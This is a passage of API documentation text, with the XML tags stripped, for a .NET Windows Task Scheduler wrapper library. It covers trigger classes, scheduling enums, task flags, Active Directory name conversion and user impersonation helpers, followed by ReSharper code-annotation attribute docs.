power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + 